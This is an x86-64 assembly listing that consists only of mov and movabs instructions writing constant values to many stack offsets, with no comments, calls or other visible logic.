mov dword [rsp + 0x74a0], 0xdd8af83d
mov eax, 0xf10
mov word [rsp + 0x2bd10], ax
mov eax, 0x987
mov word [rsp + 0xa210], ax
movabs rax, 0x1dcd5aaf9693a6ae
mov qword [rsp + 0xfad8], rax
mov eax, 0x3dc
mov word [rsp + 0x1960], ax
mov byte [rsp + 0x12670], 0x21
mov eax, 0x64
mov word [rsp + 0x2bcf8], ax
mov dword [rsp + 0xa1e4], 0x2080925c
mov byte [rsp + 0x261e8], 0x6a
mov byte [rsp + 0xfabc], 0x88
mov eax, 0x36e6
mov word [rsp + 0x23798], ax
mov byte [rsp + 0x154e0], 0xa9
mov eax, 0x78f
mov word [rsp + 0x23790], ax
movabs rax, 0xceadfd098529b05d
mov qword [rsp + 0x28e30], rax
mov byte [rsp + 0x2bc80], 0x65
movabs rax, 0x5fdc032276380760
mov qword [rsp + 0x154d0], rax
mov dword [rsp + 0x1dbf0], 0x6d9fd09d
mov eax, 0x4f1
mov word [rsp + 0xce80], ax
mov byte [rsp + 0x12630], 0xf2
mov byte [rsp + 0xa170], 0x54
mov dword [rsp + 0x2bc70], 0x2e8cb658
mov dword [rsp + 0x181d8], 0x123e8969
mov eax, 0x7876
mov word [rsp + 0x181b8], ax
mov dword [rsp + 0x20a28], 0x2b53ece1
mov eax, 0x7608
mov word [rsp + 0x73f4], ax
mov eax, 0x9d7
mov word [rsp + 0x4330], ax
mov dword [rsp + 0x432c], 0x26c264d6
movabs rax, 0x545f1f74cbf589f2
mov qword [rsp + 0x181a0], rax
mov byte [rsp + 0xfa60], 0x27
mov dword [rsp + 0x1dbcc], 0x1bba7c5d
mov eax, 0x54e8
mov word [rsp + 0xce60], ax
mov dword [rsp + 0x209ec], 0xf452224
mov byte [rsp + 0x1dbb8], 0x4c
mov eax, 0xfcb
mov word [rsp + 0xfa20], ax
movabs rax, 0x2cbafd7c28b7c25a
mov qword [rsp + 0x26150], rax
mov eax, 0x6e0
mov word [rsp + 0xa0f0], ax
mov eax, 0x10d
mov word [rsp + 0xa0e4], ax
mov dword [rsp + 0xf9e8], 0x1b5ebcf8
mov eax, 0x5840
mov word [rsp + 0x20990], ax
mov eax, 0x28f2
mov word [rsp + 0x732c], ax
movabs rax, 0xcc05c1598197a0ba
mov qword [rsp + 0x42a0], rax
mov eax, 0x6efd
mov word [rsp + 0xa088], ax
movabs rax, 0x421a05ce4e75f6d7
mov qword [rsp + 0x4298], rax
mov dword [rsp + 0x72f8], 0x4ae317f6
movabs rax, 0x545009253d6f14b5
mov qword [rsp + 0xf9a0], rax
mov byte [rsp + 0x2bb40], 0x70
mov eax, 0x1303
mov word [rsp + 0x72e8], ax
movabs rax, 0x44de923f2619383e
mov qword [rsp + 0x23678], rax
mov byte [rsp + 0x23669], 7
mov byte [rsp + 0x1aee0], 0xd
mov dword [rsp + 0x4228], 0x26d4daec
mov byte [rsp + 0x15310], 0xe9
mov dword [rsp + 0x72c0], 0x5018e6c7
mov eax, 0xdb3
mov word [rsp + 0x12500], ax
movabs rax, 0xcf0b018c69d92da6
mov qword [rsp + 0x124f8], rax
mov dword [rsp + 0xcd68], 0xecf85741
mov dword [rsp + 0x7294], 0xd343833
mov byte [rsp + 0xa030], 0x76
mov eax, 0x5bc5
mov word [rsp + 0xf920], ax
mov eax, 0xe88
mov word [rsp + 0x28cf8], ax
mov dword [rsp + 0x41d0], 0xbb28f4a
mov byte [rsp + 0x1788], 0x46
movabs rax, 0x75e3c8154ae78b55
mov qword [rsp + 0x41b0], rax
mov byte [rsp + 0x1da88], 0x42
mov byte [rsp + 0x26045], 0x5c
mov byte [rsp + 0x17ff4], 0x68
mov byte [rsp + 0x15284], 0x3c
mov dword [rsp + 0x15280], 0x3601f6d5
mov dword [rsp + 0x9fac], 0x6e81ab30
mov byte [rsp + 0x4130], 0x52
movabs rax, 0xbc2524f9ad0e6aee
mov qword [rsp + 0x4128], rax
movabs rax, 0x9d4595ab0ce5f2e2
mov qword [rsp + 0x17fd0], rax
movabs rax, 0xa939187b33d5dd97
mov qword [rsp + 0x23580], rax
mov dword [rsp + 0x2084c], 0x71c54470
mov dword [rsp + 0x25fb0], 0x421aff71
mov byte [rsp + 0x2b9c8], 0x74
movabs rax, 0xd1ab710857f36727
mov qword [rsp + 0xf820], rax
mov byte [rsp + 0xf81c], 0x78
movabs rax, 0x6128fb1150b2249c
mov qword [rsp + 0x23510], rax
mov byte [rsp + 0x23500], 4
mov dword [rsp + 0x25f58], 0x38839034
mov byte [rsp + 0x1ad90], 0xf
mov dword [rsp + 0x154c], 0x95b71e4a
mov dword [rsp + 0x7150], 0xa44b514
mov eax, 0xeaa
mov word [rsp + 0x207d0], ax
mov eax, 0xc4f
mov word [rsp + 0x1d950], ax
mov dword [rsp + 0x28b78], 0x9c2dcef6
mov dword [rsp + 0x17ef4], 0x2fe86038
mov byte [rsp + 0x25eb0], 0x22
movabs rax, 0x6aeeb5e6daeb30e
mov qword [rsp + 0xf788], rax
mov eax, 0xfc9
mov word [rsp + 0xcb94], ax
mov byte [rsp + 0xcb90], 0x6c
mov dword [rsp + 0xf778], 0x435d9e66
mov eax, 0x48f5
mov word [rsp + 0x12308], ax
movabs rax, 0x294e4ba339ad5fd1
mov qword [rsp + 0x7118], rax
mov byte [rsp + 0x7110], 0x37
mov eax, 0x4958
mov word [rsp + 0x4058], ax
mov dword [rsp + 0x25e90], 0x118cb2fe
movabs rax, 0x68cb04df76d0149
mov qword [rsp + 0x23480], rax
mov byte [rsp + 0xcb68], 0x32
mov eax, 0x230
mov word [rsp + 0x1d908], ax
mov dword [rsp + 0x14a4], 0x62599515
movabs rax, 0x9d5dd1c3aaa490f
mov qword [rsp + 0x23430], rax
mov eax, 0xb6f
mov word [rsp + 0x1470], ax
mov eax, 0xa40
mov word [rsp + 0x25e18], ax
mov eax, 0x259a
mov word [rsp + 0x1d868], ax
mov byte [rsp + 0x7044], 0x1d
mov byte [rsp + 0x206b0], 0x25
movabs rax, 0x3f7af993e8057712
mov qword [rsp + 0x15078], rax
mov dword [rsp + 0x9dc0], 0xc470e69e
mov eax, 0x240
mov word [rsp + 0x7020], ax
mov dword [rsp + 0x206a8], 0x2d30ee30
mov byte [rsp + 0x1d818], 0xe2
mov dword [rsp + 0xca48], 0x24d5cb4e
movabs rax, 0x5bed6b8f0089caed
mov qword [rsp + 0x121c8], rax
mov eax, 0xa2
mov word [rsp + 0x1d800], ax
movabs rax, 0x5709bd4542becef0
mov qword [rsp + 0x1d7f8], rax
mov eax, 0x57b0
mov word [rsp + 0x121b0], ax
mov byte [rsp + 0x1d7d4], 0xd
mov dword [rsp + 0x17d94], 0x3d861803
mov dword [rsp + 0x17d90], 0x438d5341
movabs rax, 0x14fd245a4bda108e
mov qword [rsp + 0x28a28], rax
movabs rax, 0xf7d4a18b92b6c6f0
mov qword [rsp + 0x3f20], rax
mov eax, 0xd17
mov word [rsp + 0x15010], ax
mov byte [rsp + 0x1d7b0], 0x3a
mov eax, 0x9f3
mov word [rsp + 0x9d30], ax
movabs rax, 0x2f645e402776c83c
mov qword [rsp + 0x205f8], rax
mov byte [rsp + 0x232e8], 0xf
mov eax, 0xeb6
mov word [rsp + 0x12fc], ax
mov eax, 0xe3f
mov word [rsp + 0x12f0], ax
mov dword [rsp + 0x12e0], 0xf17ad5d2
mov eax, 0x54
mov word [rsp + 0xc970], ax
movabs rax, 0x237c861d341bf8c1
mov qword [rsp + 0x17ca8], rax
mov dword [rsp + 0x12c0], 0xad765aca
mov dword [rsp + 0x2b654], 0x919dfcd
mov dword [rsp + 0x3e5c], 0xecb990
mov byte [rsp + 0x120d8], 0xe7
mov dword [rsp + 0x1ab2c], 0x7c388224
movabs rax, 0x7495a7d62db5bc50
mov qword [rsp + 0x14f30], rax
mov eax, 0x3fa5
mov word [rsp + 0x20504], ax
movabs rax, 0x375431c5fa4576e5
mov qword [rsp + 0x9c28], rax
mov dword [rsp + 0x14ef8], 0x3d9ec2d0
movabs rax, 0x13711cbffd915319
mov qword [rsp + 0xc900], rax
mov eax, 0x65
mov word [rsp + 0x120ac], ax
mov dword [rsp + 0x2b630], 0xdab9864d
mov dword [rsp + 0x3e0c], 0x7e27de85
mov dword [rsp + 0x1268], 0xb6153507
movabs rax, 0x2be136d476b677ae
mov qword [rsp + 0xf4f0], rax
mov eax, 0xca5
mov word [rsp + 0x9bf4], ax
mov eax, 0x1fe9
mov word [rsp + 0x12080], ax
movabs rax, 0xd132177bfb4fe540
mov qword [rsp + 0x17c40], rax
movabs rax, 0x836bed36d4d7f79e
mov qword [rsp + 0x288f8], rax
mov dword [rsp + 0x3dc4], 0x87081884
mov eax, 0x933
mov word [rsp + 0x3dc0], ax
movabs rax, 0x744adaa8e6c62a1e
mov qword [rsp + 0x288d8], rax
movabs rax, 0x706916fcd7b27f81
mov qword [rsp + 0x6e60], rax
mov eax, 0x90b
mov word [rsp + 0xf4c8], ax
mov eax, 0x3fba
mov word [rsp + 0x2b58c], ax
movabs rax, 0x4321e09c8c01bd18
mov qword [rsp + 0x1d690], rax
mov dword [rsp + 0x28880], 0xf3b4462b
mov eax, 0x4220
mov word [rsp + 0x25c28], ax
movabs rax, 0xb535c43b4dc69497
mov qword [rsp + 0x1d680], rax
movabs rax, 0x823ef36165695555
mov qword [rsp + 0x12028], rax
mov dword [rsp + 0x1d678], 0x43ba97c2
movabs rax, 0x7d7bb22a81969fb3
mov qword [rsp + 0x2b540], rax
mov byte [rsp + 0x2b538], 0x21
movabs rax, 0x1722a8a9dec54078
mov qword [rsp + 0x20470], rax
mov eax, 0x3a1a
mov word [rsp + 0xf4a4], ax
mov eax, 0x2c91
mov word [rsp + 0x1d668], ax
mov byte [rsp + 0x3d74], 0x50
movabs rax, 0x90a5f4eda3bd974
mov qword [rsp + 0x11d8], rax
movabs rax, 0x2305ebf98d8929c3
mov qword [rsp + 0xc818], rax
movabs rax, 0x6bd9ab7ad8981bae
mov qword [rsp + 0x3d40], rax
movabs rax, 0x43e35812a12e5285
mov qword [rsp + 0x3d10], rax
movabs rax, 0x51934681a599a68d
mov qword [rsp + 0x17b88], rax
movabs rax, 0x1e06d051b751240f
mov qword [rsp + 0x1d5f8], rax
movabs rax, 0x5e0621532b25648d
mov qword [rsp + 0x28808], rax
movabs rax, 0x7d996417523a67d1
mov qword [rsp + 0x9ae0], rax
mov dword [rsp + 0x287e8], 0x3d51ea39
mov dword [rsp + 0x9ad4], 0x69ab3f55
mov dword [rsp + 0x287d0], 0x163e7f9e
mov eax, 0x241
mov word [rsp + 0x287a8], ax
movabs rax, 0x2175097fe6f9a926
mov qword [rsp + 0x1150], rax
mov dword [rsp + 0x9ab8], 0x825509dc
mov byte [rsp + 0xf3f8], 0x74
mov dword [rsp + 0x230e4], 0xe2f9c93
mov byte [rsp + 0xf3c8], 0x4b
mov eax, 0x5128
mov word [rsp + 0x2b49c], ax
mov dword [rsp + 0x25b18], 0x1357d40d
movabs rax, 0x4107016736787ca7
mov qword [rsp + 0x25b00], rax
mov eax, 0x3d6
mov word [rsp + 0x6cdc], ax
mov byte [rsp + 0x1109], 0x12
movabs rax, 0x34ec3f08554d4ab
mov qword [rsp + 0x230a8], rax
mov byte [rsp + 0x14d38], 0xe4
mov byte [rsp + 0x14d30], 0x8a
movabs rax, 0x4fc2bf4554eb248d
mov qword [rsp + 0x286d8], rax
movabs rax, 0xc14fd8096632586b
mov qword [rsp + 0x14d28], rax
mov eax, 0x213
mov word [rsp + 0x14d10], ax
mov eax, 0xbee
mov word [rsp + 0x10c8], ax
mov byte [rsp + 0x3c10], 0x3f
movabs rax, 0x15c39a217c100df1
mov qword [rsp + 0x1d530], rax
mov dword [rsp + 0x1a918], 0xa346e5d3
mov eax, 0x3471
mov word [rsp + 0x1d518], ax
mov eax, 0x143
mov word [rsp + 0x14cf0], ax
mov byte [rsp + 0xc6f8], 0x43
mov dword [rsp + 0x6bc8], 0x94791611
movabs rax, 0x821c4156adcfb5f9
mov qword [rsp + 0x14cb0], rax
mov byte [rsp + 0x6b90], 0x7a
movabs rax, 0x3d025d00cc985621
mov qword [rsp + 0x17a58], rax
mov eax, 0x10ac
mov word [rsp + 0x11ebc], ax
mov dword [rsp + 0x22ff4], 0x7d0f5836
mov eax, 0x5cec
mov word [rsp + 0x202bc], ax
mov eax, 0x243d
mov word [rsp + 0x17a38], ax
mov byte [rsp + 0x1030], 0x11
mov byte [rsp + 0x20298], 0xa2
movabs rax, 0x2d09153146946541
mov qword [rsp + 0x28620], rax
movabs rax, 0x71606fedfeccd6fb
mov qword [rsp + 0x14c48], rax
mov byte [rsp + 0x259f0], 0x49
mov byte [rsp + 0x28614], 0x5a
mov dword [rsp + 0x1d490], 0x13ce9324
mov byte [rsp + 0x179d8], 0x34
mov eax, 0xc
mov word [rsp + 0xf2b8], ax
mov dword [rsp + 0x259a8], 0x29dfff2c
movabs rax, 0x1f004391a42eadeb
mov qword [rsp + 0x179a0], rax
mov dword [rsp + 0x9988], 0x5ba650c1
movabs rax, 0xa7939964b7ce8efd
mov qword [rsp + 0x14be8], rax
mov byte [rsp + 0x201e0], 0x19
movabs rax, 0x66a19b3baea84d40
mov qword [rsp + 0x201d8], rax
mov dword [rsp + 0x285c0], 0x10651292
mov byte [rsp + 0x2b360], 0xc4
mov byte [rsp + 0x14bb8], 0x48
movabs rax, 0x44b0c1d9ad3405c1
mov qword [rsp + 0xf258], rax
mov dword [rsp + 0xc5d8], 0x4cf46e0d
mov byte [rsp + 0x25931], 0x4e
mov dword [rsp + 0x11da8], 0x5146a537
mov byte [rsp + 0x9909], 0x2e
mov byte [rsp + 0x17930], 0xe8
mov byte [rsp + 0x14b68], 2
movabs rax, 0xc501a4abf673bcf7
mov qword [rsp + 0x22eb0], rax
movabs rax, 0x4a32c5e30b102fed
mov qword [rsp + 0x98f8], rax
mov eax, 0x771
mov word [rsp + 0x2856c], ax
mov dword [rsp + 0x28568], 0xe1b8c8c6
mov eax, 0x2a34
mov word [rsp + 0x2b328], ax
mov byte [rsp + 0x6948], 0x32
mov eax, 0x2523
mov word [rsp + 0x1d3b8], ax
mov eax, 0xdc9
mov word [rsp + 0x17908], ax
mov dword [rsp + 0xf1e8], 0xfdf77a54
movabs rax, 0x42798d414b50fc34
mov qword [rsp + 0x22e78], rax
mov dword [rsp + 0x258a0], 0x95086996
mov byte [rsp + 0x68b0], 0
movabs rax, 0x257b4e129703420b
mov qword [rsp + 0xe60], rax
mov dword [rsp + 0x1d360], 0x2353feaa
mov byte [rsp + 0x11ce8], 0xe4
mov dword [rsp + 0x20098], 0x263291a2
mov byte [rsp + 0xc478], 0x1a
mov byte [rsp + 0x20088], 0xc1
mov dword [rsp + 0x284c8], 0x59bb7e17
mov eax, 0xd81
mov word [rsp + 0x14a98], ax
mov byte [rsp + 0x9868], 0x58
movabs rax, 0x4f8551086826d4ca
mov qword [rsp + 0xc458], rax
movabs rax, 0xa04ec8a09c05e64c
mov qword [rsp + 0x1d330], rax
mov eax, 0x25
mov word [rsp + 0x6840], ax
movabs rax, 0xda018bacb16c889f
mov qword [rsp + 0x20048], rax
mov byte [rsp + 0xdcc], 0xd7
mov byte [rsp + 0x1d2b8], 0xf6
movabs rax, 0xbf5022a5e95ea9e1
mov qword [rsp + 0xdb0], rax
mov byte [rsp + 0x67f0], 0x7b
mov byte [rsp + 0x22d98], 0x5d
mov byte [rsp + 0x67e8], 0xd9
movabs rax, 0xdcf531673b3c18ee
mov qword [rsp + 0x22d90], rax
movabs rax, 0x49265e6532341a63
mov qword [rsp + 0x11c08], rax
mov byte [rsp + 0x1a628], 0xb8
movabs rax, 0xb3b974fc5da0e3b5
mov qword [rsp + 0x9768], rax
mov eax, 0x589
mov word [rsp + 0x67d0], ax
mov byte [rsp + 0x3930], 1
mov eax, 0x4dfc
mov word [rsp + 0x3910], ax
mov eax, 0x79c5
mov word [rsp + 0x1ffd0], ax
mov dword [rsp + 0x177a0], 0x692c136f
mov dword [rsp + 0x1ffc4], 0x4c98c4cc
mov byte [rsp + 0x11bc8], 0x3f
mov dword [rsp + 0x2b1a0], 0x907c370d
mov dword [rsp + 0x96fc], 0xf7356077
mov eax, 0x7c2b
mov word [rsp + 0x25784], ax
mov byte [rsp + 0x96ed], 0x7f
mov eax, 0xc01
mov word [rsp + 0x17708], ax
mov byte [rsp + 0xf0a8], 0x12
mov eax, 0x1f9e
mov word [rsp + 0x1d1d0], ax
mov eax, 0x7d2
mov word [rsp + 0xcf8], ax
movabs rax, 0x50368df895f7d097
mov qword [rsp + 0xcd8], rax
mov byte [rsp + 0x1a558], 0x54
mov dword [rsp + 0x1d184], 0x752a3d98
mov byte [rsp + 0xf078], 0x6f
mov dword [rsp + 0x1ff40], 0xe9cd8336
movabs rax, 0x12c8adc1a78c0367
mov qword [rsp + 0x25700], rax
mov dword [rsp + 0x256ec], 0x201d8564
mov dword [rsp + 0x11b6c], 0xaa6415fb
mov eax, 0xf4b
mov word [rsp + 0x22cd0], ax
mov dword [rsp + 0x256e8], 0x627b17b3
mov byte [rsp + 0x176b0], 0xf4
movabs rax, 0x13c1dbe6be39d7df
mov qword [rsp + 0x11b60], rax
mov eax, 0xca9
mov word [rsp + 0x176a4], ax
mov dword [rsp + 0x28348], 0x6d743baa
mov eax, 0x7c64
mov word [rsp + 0xf054], ax
mov dword [rsp + 0x1a4f8], 0x49e2710a
movabs rax, 0x2a9a33bf2896c94d
mov qword [rsp + 0x14918], rax
mov dword [rsp + 0x1a4b8], 0xec4117f5
mov byte [rsp + 0x11acc], 0x44
mov dword [rsp + 0x17658], 0x7015b3b7
mov eax, 0x17c
mov word [rsp + 0x11ac8], ax
mov eax, 0x1ed
mov word [rsp + 0xf008], ax
mov dword [rsp + 0x1763c], 0x3f4ad5fb
mov eax, 0x677
mov word [rsp + 0x66b0], ax
mov eax, 0x7bb3
mov word [rsp + 0x37f0], ax
mov eax, 0x364
mov word [rsp + 0x148fc], ax
mov byte [rsp + 0xc50], 0x65
mov dword [rsp + 0x2b078], 0x836a0479
mov dword [rsp + 0x37d0], 0x52018d88
movabs rax, 0x6bad8e827a8a86e0
mov qword [rsp + 0x22c10], rax
movabs rax, 0x28a2358ce9f38106
mov qword [rsp + 0x25650], rax
mov dword [rsp + 0x2b060], 0xee36737
mov eax, 0x3dfb
mov word [rsp + 0x1d0c0], ax
mov dword [rsp + 0x11a78], 0x7272192
mov byte [rsp + 0x6660], 0x7c
mov eax, 0x210f
mov word [rsp + 0xc38], ax
mov byte [rsp + 0x175d8], 0x10
mov byte [rsp + 0x282b1], 0xe3
mov dword [rsp + 0x28278], 0x3e0dea4a
mov eax, 0x6fc0
mov word [rsp + 0xef48], ax
mov dword [rsp + 0x1fe10], 0x5f11dce1
mov eax, 0x856
mov word [rsp + 0x3758], ax
mov dword [rsp + 0x28200], 0x4deb3eae
mov dword [rsp + 0x255e8], 0xf98dfa5
mov dword [rsp + 0x22b40], 0x633ab48f
mov dword [rsp + 0x255e4], 0x967f5868
mov byte [rsp + 0x14841], 0x65
mov eax, 0x6c2c
mov word [rsp + 0x65b4], ax
mov eax, 0x65f6
mov word [rsp + 0xc1d0], ax
mov eax, 0x6b3f
mov word [rsp + 0x1d010], ax
mov eax, 0xfc6
mov word [rsp + 0x119a8], ax
mov dword [rsp + 0x281bc], 0x145820a7
mov dword [rsp + 0xb60], 0x5ad49d2f
mov byte [rsp + 0x14808], 0x6a
mov dword [rsp + 0x2559c], 0x71fe08f6
mov eax, 0x7fb9
mov word [rsp + 0x25594], ax
movabs rax, 0x91bf0c3626d36d8
mov qword [rsp + 0x94a8], rax
mov eax, 0x1aba
mov word [rsp + 0x64e8], ax
mov eax, 0x68fb
mov word [rsp + 0x1a338], ax
mov byte [rsp + 0x174d0], 0x6c
movabs rax, 0x3cc8b011b3793761
mov qword [rsp + 0x36c0], rax
mov byte [rsp + 0xedee], 0x53
mov byte [rsp + 0x1479c], 0xe0
mov byte [rsp + 0xedec], 0x52
mov eax, 0x970
mov word [rsp + 0x25518], ax
mov dword [rsp + 0x1cf90], 0x5c907361
mov byte [rsp + 0x3690], 0xe0
mov byte [rsp + 0x1fd40], 0x25
mov dword [rsp + 0x3680], 0x10b5392a
mov eax, 0x8c2
mov word [rsp + 0xc130], ax
mov byte [rsp + 0x118d8], 0xf
mov dword [rsp + 0xeda0], 0xb5c085bc
movabs rax, 0x8dd312eaedfecdd7
mov qword [rsp + 0x9448], rax
mov eax, 0xa5a
mov word [rsp + 0x1cf60], ax
movabs rax, 0x2e31615e8cc31cc9
mov qword [rsp + 0xed58], rax
mov byte [rsp + 0xed4c], 0x51
mov dword [rsp + 0x118a0], 0x62c84da9
mov byte [rsp + 0xed38], 0x51
mov dword [rsp + 0x14700], 0x10a09729
movabs rax, 0x1bb00dd8d1cbb902
mov qword [rsp + 0x6408], rax
mov byte [rsp + 0x11870], 0x31
mov eax, 0x2b9c
mov word [rsp + 0x1cec0], ax
movabs rax, 0x9cbb75d0eccab6b6
mov qword [rsp + 0x146c8], rax
movabs rax, 0x361c61e235108b81
mov qword [rsp + 0x25458], rax
mov dword [rsp + 0x35d4], 0x832fd8ce
mov eax, 0x4024
mov word [rsp + 0x1ce98], ax
mov eax, 0xd5
mov word [rsp + 0x2ae98], ax
mov byte [rsp + 0xa98], 0x42
mov dword [rsp + 0x35d0], 0x7b9fd29e
mov byte [rsp + 0x1ce70], 0x3a
mov dword [rsp + 0x1fc90], 0x1784866a
mov byte [rsp + 0x1a1b9], 0x56
mov eax, 0x5bc
mov word [rsp + 0xc070], ax
mov byte [rsp + 0x1a1b8], 0x41
movabs rax, 0x799d46d0a3e463ce
mov qword [rsp + 0x35c0], rax
mov eax, 0x257a
mov word [rsp + 0x1ce38], ax
mov byte [rsp + 0xa40], 0x1f
mov byte [rsp + 0x631c], 0x15
movabs rax, 0x3190f1186a399c0f
mov qword [rsp + 0x1fc30], rax
mov dword [rsp + 0xec98], 0x25d0b1a1
mov byte [rsp + 0x62f8], 0x57
mov byte [rsp + 0x2add8], 0x6d
mov dword [rsp + 0x1cdd8], 0x432b19ac
mov byte [rsp + 0x9a8], 0x33
mov byte [rsp + 0x17344], 0x82
mov dword [rsp + 0x253b0], 0x2802dce0
mov dword [rsp + 0x1fbb0], 0x26824eb6
mov eax, 0x5835
mov word [rsp + 0x27ff0], ax
movabs rax, 0x5919248b57940c81
mov qword [rsp + 0x1a130], rax
movabs rax, 0x1527722ab7efc8cc
mov qword [rsp + 0xebf8], rax
movabs rax, 0x14c955380cf76bc9
mov qword [rsp + 0x1a110], rax
mov eax, 0x919
mov word [rsp + 0x1cd8c], ax
mov byte [rsp + 0x34e8], 0xcd
mov eax, 0xb53
mov word [rsp + 0x1cd6c], ax
movabs rax, 0x260bb8d54dc8583e
mov qword [rsp + 0xbf98], rax
mov eax, 0x35d
mov word [rsp + 0x1cd68], ax
mov eax, 0x19d
mov word [rsp + 0x11748], ax
mov eax, 0xc8c
mov word [rsp + 0x14560], ax
mov eax, 0xa08
mov word [rsp + 0x950], ax
movabs rax, 0x7d0d3edba9d19a68
mov qword [rsp + 0x11710], rax
movabs rax, 0x6d75ff8109b3bb74
mov qword [rsp + 0x27f68], rax
mov byte [rsp + 0x9298], 0x77
mov eax, 0xb5e
mov word [rsp + 0x22920], ax
mov dword [rsp + 0x172e8], 0x1fd8c90a
mov eax, 0x457
mov word [rsp + 0xeb80], ax
mov byte [rsp + 0x3498], 0xc
mov eax, 0xa45
mov word [rsp + 0xbf48], ax
movabs rax, 0x2f855ba24df0daab
mov qword [rsp + 0x116f0], rax
mov dword [rsp + 0x25300], 0x32ee4859
movabs rax, 0xa2ed9d7166fa6e11
mov qword [rsp + 0x930], rax
movabs rax, 0xe3aeeec907517c56
mov qword [rsp + 0x27f30], rax
mov eax, 0x6378
mov word [rsp + 0x9240], ax
movabs rax, 0xfe153e5933eeab86
mov qword [rsp + 0x116d8], rax
movabs rax, 0x8adcc43a7c6a2844
mov qword [rsp + 0x17288], rax
mov eax, 0x6a7d
mov word [rsp + 0x6208], ax
movabs rax, 0xdbb762efac4ad72
mov qword [rsp + 0x908], rax
mov eax, 0x6fb4
mov word [rsp + 0x144d8], ax
mov byte [rsp + 0xbf00], 0x6e
mov byte [rsp + 0x27f00], 0x64
mov dword [rsp + 0x11680], 0x7451b8ed
mov dword [rsp + 0xeae4], 0x2352c53c
mov eax, 0xc03
mov word [rsp + 0xeae0], ax
movabs rax, 0x73823fbef0747756
mov qword [rsp + 0x3410], rax
mov eax, 0x281
mov word [rsp + 0x33d0], ax
mov dword [rsp + 0x14430], 0x5577709a
mov dword [rsp + 0x2ac3c], 0x6995a186
mov byte [rsp + 0x2ac38], 5
mov dword [rsp + 0x251e0], 0x586259c1
mov eax, 0xfa5
mov word [rsp + 0x27e74], ax
mov eax, 0x2a4
mov word [rsp + 0x9168], ax
mov dword [rsp + 0x251d0], 0xbe876527
mov byte [rsp + 0xbe38], 0x8a
mov eax, 0x3907
mov word [rsp + 0x6118], ax
movabs rax, 0x12dfa1e2a4fe42c6
mov qword [rsp + 0xbe28], rax
movabs rax, 0x6bcaacca175a56e1
mov qword [rsp + 0x251b8], rax
mov byte [rsp + 0x17150], 0x77
mov eax, 0xac4
mov word [rsp + 0x14370], ax
mov dword [rsp + 0x2ab90], 0x6f27077e
mov dword [rsp + 0x19f20], 0xa667757
mov byte [rsp + 0x730], 0xb7
mov byte [rsp + 0x60a0], 0xd
mov byte [rsp + 0x710], 8
mov eax, 0xcba
mov word [rsp + 0x11544], ax
movabs rax, 0xc8c5e6f01d47ce18
mov qword [rsp + 0xe9e8], rax
mov eax, 0x502e
mov word [rsp + 0x19ee8], ax
mov byte [rsp + 0x3320], 0x64
mov eax, 0x306a
mov word [rsp + 0x25120], ax
mov byte [rsp + 0x9068], 0xa
mov dword [rsp + 0x2ab28], 0x7db7218e
mov eax, 0x120
mov word [rsp + 0x142f4], ax
movabs rax, 0xdcb65c7aa3bf3565
mov qword [rsp + 0x27db8], rax
movabs rax, 0x68d4d89c2694e439
mov qword [rsp + 0x1ca98], rax
mov dword [rsp + 0x6d8], 0x2928681b
mov dword [rsp + 0x1ca68], 0x2720be1d
mov byte [rsp + 0x19ebc], 0x14
mov dword [rsp + 0x902c], 0x1ba8880d
mov byte [rsp + 0x27d90], 0x38
mov dword [rsp + 0x142a8], 0x73c2c52d
mov dword [rsp + 0x114f4], 0x36da72c
mov eax, 0x21ee
mov word [rsp + 0x6030], ax
mov byte [rsp + 0x226f8], 0x52
movabs rax, 0x85fbe26a0d447030
mov qword [rsp + 0x226f0], rax
mov eax, 0x674
mov word [rsp + 0x27d50], ax
mov dword [rsp + 0x226e4], 0x68786a2e
mov eax, 0x6208
mov word [rsp + 0x114d4], ax
mov byte [rsp + 0x1701c], 0xc0
mov byte [rsp + 0x1ca28], 0x69
mov eax, 0x24aa
mov word [rsp + 0x1f934], ax
mov dword [rsp + 0x678], 0x683d7f8
mov eax, 0xe6a
mov word [rsp + 0x2aaa8], ax
mov eax, 0xe36
mov word [rsp + 0x14274], ax
mov eax, 0x411f
mov word [rsp + 0x658], ax
mov byte [rsp + 0x16ff8], 0x1d
mov byte [rsp + 0x1ca00], 7
mov byte [rsp + 0x3218], 0x6e
movabs rax, 0x56d58aff9c6eb583
mov qword [rsp + 0x27cf8], rax
mov dword [rsp + 0x11478], 0x81ff1871
movabs rax, 0x5a6429d836c95d9
mov qword [rsp + 0x14240], rax
mov byte [rsp + 0x1c9c8], 0xf3
mov eax, 0x684b
mov word [rsp + 0xbc7c], ax
mov byte [rsp + 0xbc78], 0x78
movabs rax, 0x9d781f7c800e0ec9
mov qword [rsp + 0x1f8c8], rax
movabs rax, 0x10d4a2a9f5015dcc
mov qword [rsp + 0x8fc0], rax
mov eax, 0x63ad
mov word [rsp + 0x16fa8], ax
movabs rax, 0x458a10af1c342071
mov qword [rsp + 0xe8d0], rax
movabs rax, 0x758860c97cc65d66
mov qword [rsp + 0xbc40], rax
mov dword [rsp + 0x8fb0], 0x898cb5ae
mov dword [rsp + 0xbc38], 0xcf2a2ac
movabs rax, 0x69ca0425d61a98b2
mov qword [rsp + 0x27c88], rax
mov byte [rsp + 0x31c8], 0x20
mov eax, 0x2a7
mov word [rsp + 0x5e0], ax
mov dword [rsp + 0xbc08], 0x4919ef64
mov dword [rsp + 0xe8ac], 0x3bd89c0d
mov eax, 0x5b
mov word [rsp + 0x11438], ax
mov byte [rsp + 0x24fe8], 4
mov byte [rsp + 0x16f40], 0x82
movabs rax, 0x5db07ab892496880
mov qword [rsp + 0x8f30], rax
mov byte [rsp + 0x225ec], 0x75
mov eax, 0xd65
mov word [rsp + 0x1f820], ax
mov byte [rsp + 0x8ef0], 0x67
mov dword [rsp + 0x2a9dc], 0x1654eea7
mov dword [rsp + 0x3168], 0x202c4a1a
movabs rax, 0x4ce8f73bdcd635da
mov qword [rsp + 0xbba8], rax
mov byte [rsp + 0x19cf8], 0x21
mov byte [rsp + 0x8ed0], 0x6f
mov eax, 0x43f5
mov word [rsp + 0x24f98], ax
mov byte [rsp + 0x19ce0], 0x10
movabs rax, 0x7fe4c61fcf2dd16b
mov qword [rsp + 0x1c898], rax
mov dword [rsp + 0x24f64], 0x845c6166
mov eax, 0x23cf
mov word [rsp + 0x113b8], ax
mov dword [rsp + 0x2a940], 0x3d214512
movabs rax, 0x47ffe8a5af153a87
mov qword [rsp + 0x27af0], rax
mov dword [rsp + 0x8e44], 0x679bb261
mov byte [rsp + 0x2a920], 0x69
mov byte [rsp + 0x11368], 0xec
movabs rax, 0x7784eadabb5450ab
mov qword [rsp + 0x27ad0], rax
mov eax, 0x710c
mov word [rsp + 0x30d0], ax
mov dword [rsp + 0x19c68], 0x17f5a765
